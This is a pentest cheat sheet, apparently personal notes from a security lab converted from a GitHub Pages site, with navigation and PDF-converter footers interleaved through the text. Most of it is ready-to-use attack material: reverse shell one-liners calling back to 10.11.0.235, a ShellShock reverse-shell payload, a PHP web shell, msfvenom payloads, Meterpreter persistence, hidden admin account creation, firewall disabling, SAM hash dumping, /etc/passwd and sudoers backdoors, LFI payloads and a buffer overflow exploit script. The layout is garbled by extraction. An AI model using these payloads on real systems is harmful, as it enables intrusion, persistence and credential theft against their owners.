Malikashish8 Github Io Walkthrough Notes
Malikashish8 Github Io Walkthrough Notes
OS xprobe2 10.11.1.133
SMB (139,445):
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nbtscan -r 10.11.1.0/24
smbclient -L 10.11.1.31 -U anonymous
smbclient //192.168.25.67/wwwroot -U anonymous
Methodology
enum4linux -a 10.11.1.5
H p site
Enum
/root/scripts/nmap-smb.sh 10.11.1.5
Misc
SQLMAP nmap -p 139,445 --script=vuln 10.11.1.1
Linux
Python rpcclient -U "" 10.11.1.1
PHP
SNMP (UDP 161)
WordPress
Samaba Share
Bruteforce snmp-check 10.11.1.5
Mangle:
Locate db path:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
/var/lib/mlocate/mlocate.db
Python
Rev shell
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
s.connect(('192.168.3.222', 6660))
s.send("GET /" + buffer + " HTTP/1.1" + "\r\n\r\n")
s.close()
Methodology
H p site Python eval() and 2.7 read() exploit:
Enum
Misc __import__("os").system("netstat -antp|nc 192.168.203.130 1234")
SQLMAP
Deserializa on (Pickle) exploit template
Linux
Python
PHP def create_command(cmd, args, flags):
template = """csubprocess
WordPress
check_output
Samaba Share
(((S'{0}'
Bruteforce
S'{1}'
Password Cracking
S'{2}'
Encoding
ltR."""
Rev Shell
return template.format(cmd, args, flags)
PHP web shell
Metasploit hack = create_command('ls', '..', '-la')
msfconsole
Meterperter Port knocking
POST
Msfvenom for x in 27017 28017; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.11.1.237; done
Persistence
Windows Python script to read from port template
SMB
MsSQL #!/usr/bin/env python
PE import socket
BO
IP = '10.11.1.8'
Python script
PORT = 631
Docker
MSG = open('a').read()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
data = s.recv(1024)
s.send(MSG)
print data1
data2 = s.recv(1024)
print data2
s.close()
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
PHP
Methodology Covert LFI to see php code:
H p site
Enum http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00
Misc http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=php://filter/convert.base64-
SQLMAP encode/resource=../../../../../var/www/image.php%00
Linux
Python WordPress
PHP
WordPress wpscan --url http://192.168.110.181:69 --enumerate u to enumerate and bruteforce users based on wordlist use: wpscan -u 10.11.1.234 --
Samaba Share wordlist /usr/share/wordlists/rockyou.txt --threads 50
Bruteforce
Password Cracking Samaba Share
Encoding
Rev Shell smbclient -L host
PHP web shell smbclient \\\\zimmerman\\public mypasswd
Metasploit smbclient //billy/EricsSecretStuff -u anonymous
msfconsole
Meterperter enum4linux -a 192.168.110.181 will do all sort of enumera ons on samba
POST
Msfvenom From h p://www.tldp.org/HOWTO/SMB-HOWTO-8.html Crunch to generate wordlist based on op ons
Persistence
crunch 10 10 -t %%%qwerty^ > craven.txt This creates wordlist with min 10 le ers and max 10 le ers star ng with 3 numbers, then string ‘qwerty’ then
Windows
special characters.
SMB
MsSQL Chrome browser user agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
PE Safari/537.36 Google bot: User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)
BO
Python script Find file type based on pa ern when ‘file’ command does not work: h p://mark0.net/so -tridnet-e.html
Docker
find /proc -regex '\/proc\/[0-9]+\/fd\/.*' -type l -lname "*network*" -printf "%p -> %l\n" 2> /dev/null
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ShellShock over h p when you get response from cgi-bin which have server info only
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /usr/bin/python -c 'import
Methodology socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.11.0.235\",1234));os.dup2(s.fileno(),0);
H p site os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' 2>&1" http://10.11.1.71/cgi-
Enum bin/admin.cgi
Misc
SQLMAP Bruteforce
Linux
Python user fcrackzip to brute force zip
PHP
cewl http://10.11.1.39/otrs/installer.pl>>cewl
WordPress
Samaba Share mangle with john?
Bruteforce
Password Cracking sort cewl | uniq >>cewl2
Encoding
Check cert:
Rev Shell
PHP web shell openssl s_client -connect 10.11.1.35:443
Metasploit
msfconsole Password Cracking
Meterperter
POST Wordpress password crack - h ps://github.com/micahflee/phpass_crack - see .251
Msfvenom
cat /usr/share/wordlists/rockyou.txt | python /root/labs/251/phpass_crack-master/phpass_crack.py pass.txt -v
Persistence
Windows it seems john does a be er job at php password cracking when using a wordlist john --wordlist=/root/rockyou.txt pass.txt
SMB
MsSQL echo gibs@noobcomp.com:$P$BR2C9dzs2au72.4cNZfJPC.iV8Ppj41>pass.txt
PE
BO Encoding
Python script
Docker HexToASCII
base64 -d
PUT to webserver: Use poster Ctrl+Alt+P in Firefox and set url containg file path and chose file and PUT.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
zip all files in this folder zip -r zipped.zip .
Misc
Enum
Rev Shell
SQLMAP
From h p://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Linux
Python Bash
PHP
WordPress Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
Samaba Share
bash -i >& /dev/tcp/10.11.0.235/443 0>&1
Bruteforce
Password Cracking PERL
Encoding
Rev Shell Here’s a shorter, feature-free version of the perl-reverse-shell:
PHP web shell
perl -e 'use
Metasploit
Socket;$i="10.11.0.235";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
msfconsole
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Meterperter
POST
Python
Msfvenom
Persistence This was tested under Linux / Python 2.7:
Windows
SMB python -c 'import
MsSQL socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.235",1234));os.dup2(s.fileno(),0);
PE os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
BO
Windows:
Python script
Docker "import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.235',1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"
PHP
This code assumes that the TCP connec on uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Ruby
Encoding
Rev Shell
[Untested submission from anonymous reader]
PHP web shell
Metasploit xterm
msfconsole
Meterperter One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on
POST TCP port 6001.
Msfvenom
xterm -display 10.0.0.1:1
Persistence
Windows To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): Xnest :1 You’ll
SMB need to authorise the target to connect to you (command also run on your host): xhost +targetip
MsSQL
PE PHP web shell
BO
Python script <pre><?php echo shell_exec($_GET['c']);?><pre/> In base 64 PHByZT48P3BocCBlY2hvIHNoZWxsX2V4ZWMoJF9HRVRbJ2MnXSk7Pz48cHJlLz4K
Docker
cmd.exe >& /dev/tcp/10.11.0.235/80 0>&1
Metasploit
msfconsole
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
show options # show options for selected payloads
exploit # to start exploit
show sessions
Methodology session -i 2 #interact with session number 2
H p site # Ctrl+Z - send session to background
Enum
Misc Meterperter
SQLMAP
Linux sysinfo #display info
Python
PHP getuid
WordPress getsystem #windows only
Samaba Share
Bruteforce POST
Password Cracking
Encoding meterpereter> use mimikatz
Rev Shell
help mimikatz
PHP web shell
Metasploit
msfconsole Msfvenom
Meterperter
POST msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.11.0.235 LPORT=1234 –e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f js_le>shell
Msfvenom msfvenom -p windows/shell_bind_tcp -f exe >labs/31/shell.exe
Persistence msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.235 LPORT=4444 –e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f js_le >
Windows msfvenom -p windows/shell_reverse__tcp -f asp LHOST=10.11.0.235 LPORT=443 -o labs/229/shell.asp
SMB
MsSQL
PE root@kali:~/labs/237/davfs# msfvenom --help-platforms
BO Platforms
Python script aix, android, bsd, bsdi, cisco, firefox, freebsd, hpux, irix, java, javascript, linux, mainframe, netbsd, netware, nod
Docker
root@kali:~/labs/237/davfs# msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, ms
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vb
Meterpreter Handler:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
msf> use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
set payload linux/x86/meterpreter/reverse_tcp
Methodology
msf exploit(handler) > set LHOST <Listening_IP> (for example set LHOST 192.168.5.55)
H p site
msf exploit(handler) > set LPORT <Listening_Port> (for example set LPORT 4444)
Enum
msf exploit(handler) > exploit -z
Misc
SQLMAP
Linux Executable formats (-f)
Python asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, ms
PHP Transform formats
WordPress bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vb
Samaba Share
Bruteforce Platforms (--platform)
aix, android, bsd, bsdi, cisco, firefox, freebsd, hpux, irix, java, javascript, linux, mainframe, netbsd, netware, nod
Password Cracking
Encoding
Reverse Shells:
Rev Shell
set payload linux/armbe/shell_bind_tcp set payload linux/ppc64/shell_reverse_tcp set payload linux/
PHP web shell
set payload linux/armle/exec set payload linux/x64/exec set payload linux/
Metasploit
set payload linux/armle/mettle/bind_tcp set payload linux/x64/mettle/bind_tcp set payload linux/
msfconsole
set payload linux/armle/mettle/reverse_tcp set payload linux/x64/mettle/reverse_tcp set payload linux/
Meterperter
set payload linux/armle/shell/bind_tcp set payload linux/x64/shell/bind_tcp set payload linux/
POST set payload linux/armle/shell/reverse_tcp set payload linux/x64/shell/reverse_tcp set payload linux/
Msfvenom set payload linux/armle/shell_bind_tcp set payload linux/x64/shell_bind_tcp set payload linux/
Persistence set payload linux/armle/shell_reverse_tcp set payload linux/x64/shell_bind_tcp_random_port set payload linux/
Windows set payload linux/mipsbe/exec set payload linux/x64/shell_reverse_tcp set payload linux/
SMB set payload linux/mipsbe/mettle/reverse_tcp set payload linux/x86/chmod set payload linux/
MsSQL set payload linux/mipsbe/reboot set payload linux/x86/exec set payload linux/
PE set payload linux/mipsbe/shell/reverse_tcp set payload linux/x86/meterpreter/bind_ipv6_tcp set payload linux/
BO set payload linux/mipsbe/shell_bind_tcp set payload linux/x86/meterpreter/bind_ipv6_tcp_uuid set payload linux/
Python script set payload linux/mipsbe/shell_reverse_tcp set payload linux/x86/meterpreter/bind_nonx_tcp set payload linux/
Docker set payload linux/mipsle/exec set payload linux/x86/meterpreter/bind_tcp set payload linux/
set payload linux/mipsle/mettle/reverse_tcp set payload linux/x86/meterpreter/bind_tcp_uuid set payload linux/
set payload linux/mipsle/reboot set payload linux/x86/meterpreter/reverse_ipv6_tcp set payload linux/
set payload linux/mipsle/shell/reverse_tcp set payload linux/x86/meterpreter/reverse_nonx_tcp set payload linux/
set payload linux/mipsle/shell_bind_tcp set payload linux/x86/meterpreter/reverse_tcp set payload linux/
set payload linux/mipsle/shell_reverse_tcp set payload linux/x86/meterpreter/reverse_tcp_uuid set payload linux/
set payload linux/ppc/shell_bind_tcp set payload linux/x86/metsvc_bind_tcp set payload linux/
set payload linux/ppc/shell_reverse_tcp set payload linux/x86/metsvc_reverse_tcp set payload linux/
set payload linux/ppc64/shell_bind_tcp set payload linux/x86/mettle/bind_ipv6_tcp
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
set payload windows/dllinject/bind_hidden_tcp set payload windows/patchupdllinject/reverse_ipv6_tcp
set payload windows/dllinject/bind_ipv6_tcp set payload windows/patchupdllinject/reverse_nonx_tcp
set payload windows/dllinject/bind_ipv6_tcp_uuid set payload windows/patchupdllinject/reverse_ord_tcp
Methodology set payload windows/dllinject/bind_nonx_tcp set payload windows/patchupdllinject/reverse_tcp
H p site set payload windows/dllinject/bind_tcp set payload windows/patchupdllinject/reverse_tcp_allports
Enum set payload windows/dllinject/bind_tcp_rc4 set payload windows/patchupdllinject/reverse_tcp_dns
Misc set payload windows/dllinject/bind_tcp_uuid set payload windows/patchupdllinject/reverse_tcp_rc4
SQLMAP set payload windows/dllinject/reverse_hop_http set payload windows/patchupdllinject/reverse_tcp_rc4_dns
Linux set payload windows/dllinject/reverse_http set payload windows/patchupdllinject/reverse_tcp_uuid
Python set payload windows/dllinject/reverse_http_proxy_pstore set payload windows/patchupmeterpreter/bind_hidden_ipknock_tcp
PHP set payload windows/dllinject/reverse_ipv6_tcp set payload windows/patchupmeterpreter/bind_hidden_tcp
WordPress set payload windows/dllinject/reverse_nonx_tcp set payload windows/patchupmeterpreter/bind_ipv6_tcp
Samaba Share set payload windows/dllinject/reverse_ord_tcp set payload windows/patchupmeterpreter/bind_ipv6_tcp_uuid
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
set payload windows/meterpreter/reverse_tcp_allports set payload windows/shell/reverse_tcp_rc4
set payload windows/meterpreter/reverse_tcp_dns set payload windows/shell/reverse_tcp_rc4_dns
set payload windows/meterpreter/reverse_tcp_rc4 set payload windows/shell/reverse_tcp_uuid
Methodology set payload windows/meterpreter/reverse_tcp_rc4_dns set payload windows/shell_bind_tcp
H p site set payload windows/meterpreter/reverse_tcp_uuid set payload windows/shell_bind_tcp_xpfw
Enum set payload windows/meterpreter/reverse_winhttp set payload windows/shell_hidden_bind_tcp
Misc set payload windows/meterpreter/reverse_winhttps set payload windows/shell_reverse_tcp
SQLMAP set payload windows/meterpreter_bind_tcp set payload windows/speak_pwned
Linux set payload windows/meterpreter_reverse_http set payload windows/upexec/bind_hidden_ipknock_tcp
Python set payload windows/meterpreter_reverse_https set payload windows/upexec/bind_hidden_tcp
PHP set payload windows/meterpreter_reverse_ipv6_tcp set payload windows/upexec/bind_ipv6_tcp
WordPress set payload windows/meterpreter_reverse_tcp set payload windows/upexec/bind_ipv6_tcp_uuid
Docker
Meterpreter Script for crea ng a persistent backdoor on a target host.
OPTIONS:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
Methodology -p <opt> The port on which the system running Metasploit is listening
H p site -r <opt> The IP of the system running Metasploit listening for the connect back
Enum
Misc
SQLMAP meterpreter > run persistence -A -L C:\\ -X -U -i 10 -r 10.11.0.235 -p 4910
Linux [*] Running Persistence Script
Python [*] Resource file for cleanup created at /root/.msf4/logs/persistence/DJ_20170216.2235/DJ_20170216.2235.rc
PHP [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.11.0.235 LPORT=4910
WordPress [*] Persistent agent script is 99650 bytes long
Add user
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
run getgui -u myadmin -p Pass1234
net user myadmin Pass1234 /add
net localgroup Administrators myadmin /add
Methodology
rdesktop -u myadmin -p Pass1234 10.11.1.218 -g 80%
H p site
Enum
Run as: psexec -u alice -p alicei123 C:\HFS\shellm80c.exe
Misc
SQLMAP SAM: So the three loca ons of the SAM\Hashes are:
Linux
Python %systemroot%\system32\config - c:\Windows\System32\Config\
PHP %systemroot%\repair (but only if rdisk has been run) - C:\Windows\Repair
WordPress In the registry under HKEY_LOCAL_MACHINE\SAM Use pwdump3 to extract hasches from these and run john:
Samaba Share
samdump2 system SAM -o hashes.txt
Bruteforce
john hashes.txt
Password Cracking
Encoding
nmap -sV --script=rdp-vuln-ms12-020 -p 3389 <target> 10.11.1.5
Rev Shell
PHP web shell meterpreter > run post/multi/recon/local_exploit_suggester
Metasploit
msfconsole Firewall XP netsh firewall set opmode mode=DISABLE New: netsh advfirewall set allprofiles state off
Meterperter
RDP:
POST
Msfvenom
run getgui -u myuser -p mypass
Persistence
rdesktop -u myuser -p mypass 10.11.1.226 -g 90%
Windows
SMB
Lookup windows version from product version in C:\Windows\explorer.exe: h p://www.geoffchappell.com/studies/windows/shell/explorer/history/index.htm
MsSQL
h ps://support.microso .com/en-us/help/969393/informa on-about-internet-explorer-versions
PE
BO PE (switch admin user to NT Authority/System): psexec.exe -s cmd
Python script
Docker post/windows/gather/credentials/gpp Meterpreter Search GPP
FTP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
VNC - RealVNC4
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
output: contents of proof.txt
output: NULL
(return status = 0)
Methodology
H p site
Enum PE
Misc
SQLMAP Sequence:
Linux
Easy fail - /etc/passwd (and shadow) permision, SAM file in Repairs, check how patched the system is to get an idea of next steps
Python
Kernel Exploit
PHP
Info disclosure in compromised service/user - also check logs and home folders
WordPress
files/folders/service (permission) misconfigura on
Samaba Share
Run LPC/WPC
Bruteforce
Follow PE guide
Password Cracking
Encoding Once in, look for clues in current dir and user home dir
Rev Shell
PHP web shell If you find both passwd and shadow you can use unshadow to combine them and then run john: Unshadow passwd shadow>combined
Metasploit
msfconsole Always run ps aux: ps -f ax for parent id ps afx for graphical parent id
Meterperter
Shell shock
POST
Msfvenom
env x='() { :;}; echo vulnerable' bash -c "ps aux"
Persistence
env x='() { :;}; /usr/bin/id' /bin/bash -c "/usr/bin/id"
Windows
/usr/bin/env x='() { :;}; /usr/bin/id' /bin/bash -c "ps aux"
SMB
MsSQL
check sudo -l for a list of commands that the current user can run as other users without entering any password.
PE
BO if python is found find / -name "python*" 2>/dev/null it can be used to get TTY with: python -c 'import pty; pty.spawn("/bin/bash")'
Python script
Docker Find writable files for user: find / -writable -type f 2>/dev/null | grep -v ^/proc
Any suspected file run periodically (via crontab) which can be edited might allow to PE.
Find files which have s ckey bit on /bin/find / -perm -4001 -type f 2>/dev/null
uid and gid with root find / -perm +2000 -user root -type f 2>/dev/null find / -perm +4000 -user root -type f 2>/dev/null
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
write c executable that sets setuid(0) setgid(0) then system(/bin/bash).
As root, change owner to root:root and permission to 4755.
Run it as your user and you have root shell check for files which s ckey bits
Methodology
H p site /etc/passwd is writable:
Enum
Misc echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
SQLMAP su - dummy
Linux
Python add user in both passwd and shadow toor:toor:
PHP
WordPress echo 'toor:x:0:0:root:/root:/bin/bash' >>/etc/passwd
Samaba Share echo 'toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:
Bruteforce
Password Cracking
Encoding msf exploit(handler) > run post/multi/recon/local_exploit_suggester
Rev Shell
if we have euid set to 1001 python -c 'import os,pty; os.setresuid(1001,1001,1001); pty.spawn("/bin/bash")'
PHP web shell
Metasploit
#include <stdio.h>
msfconsole
#include <sys/types.h>
Meterperter
#include <unistd.h>
POST
int main(void)
Msfvenom
{
Persistence
setuid(0); setgid(0); system("/bin/bash"); //setregit(0,0); setegit(0); in case we have only euid set to 0. To check r
Windows
}
SMB
MsSQL
PE Maintaing PE echo "userName ALL=(ALL:ALL) ALL">>/etc/sudoers then use sudo su from user userName
BO
Python script
Docker
BO
Windows:
Immnunity debugger
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
root@kali:~/labs/614# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
00000000 FFE4 jmp esp
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
Methodology
H p site !mona modules
Enum !mona find -s "\xff\xe4" -m SLMFC.DLL
Misc
SQLMAP write return address in the script return for x86 (LE)
Linux
Python Python script
PHP
WordPress
#!/usr/bin/python
Samaba Share
import socket
Bruteforce #string = "A"*2700
Password Cracking string = "A"*2606
Encoding string += "\xE3\x41\x4B\x5F"
Rev Shell buf = "\x90"*20 # NOPs to allow decoding
PHP web shell string += buf
Metasploit try:
msfconsole s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Meterperter connect=s.connect(('10.11.17.98',110))
POST s.recv(1024)
Msfvenom s.send('USER test\r\n')
Persistence s.recv(1024)
Windows s.send('PASS ' + string + '\r\n')
SMB s.send('QUIT\r\n')
MsSQL s.close()
except:
PE
print('Unable to connect')
BO
exit(0)
Python script
Docker
Linux:
Strings <filename>
Ollydbg for windows
F2 - place breakpoint
F7 - jump into
F8 - allow completion
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
objdump -d file will dump assembly
Methodology Docker
H p site
Enum Get path of container in host file structure:
Misc
docker_path=/proc/$(docker inspect --format <ContainerID>)/root
SQLMAP
Linux transfer docker image to host by using root@kali:~/# docker save uzyexe/nmap -o nmap.tar and a er copying on target:
Python
PHP docker load -input nmap.tar
WordPress docker run --network=br0 -it --rm uzyexe/nmap -sn -T4 -v 10.10.10.0/24 >scan.out &
Samaba Share
Bruteforce Iden fy if you are inside a container - cat /proc/self/cgroup | grep docker
Password Cracking
Encoding
Rev Shell
Walkthrough
PHP web shell
Metasploit Walkthrough malikashish8
msfconsole
malikashish8
Meterperter
POST
Msfvenom This a GitHub Pages project which holds Walkhtoughs/Write-up's of CTF, Vulnerable Machines and exploits that I come across.
Persistence
Windows
SMB
MsSQL
PE
BO
Python script
Docker
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD